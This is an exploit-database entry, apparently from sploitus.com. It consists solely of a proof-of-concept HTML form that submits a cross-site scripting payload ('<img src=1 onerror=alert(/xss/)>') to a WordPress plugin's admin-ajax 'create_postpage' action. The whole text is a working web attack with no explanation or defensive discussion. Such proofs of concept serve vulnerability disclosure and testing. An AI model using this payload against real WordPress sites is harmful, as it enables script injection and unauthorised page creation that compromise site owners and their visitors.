Share
## https://sploitus.com/exploit?id=WPEX-ID:E0BE384C-3E63-49F6-B2AB-3024DCD88686
<form action="https://example.com/wp-admin/admin-ajax.php?action=create_postpage" method="POST">
<input type="text" name="object_type" value='<img src=1 onerror=alert(/xss/)>'>
<input type="submit">
</form>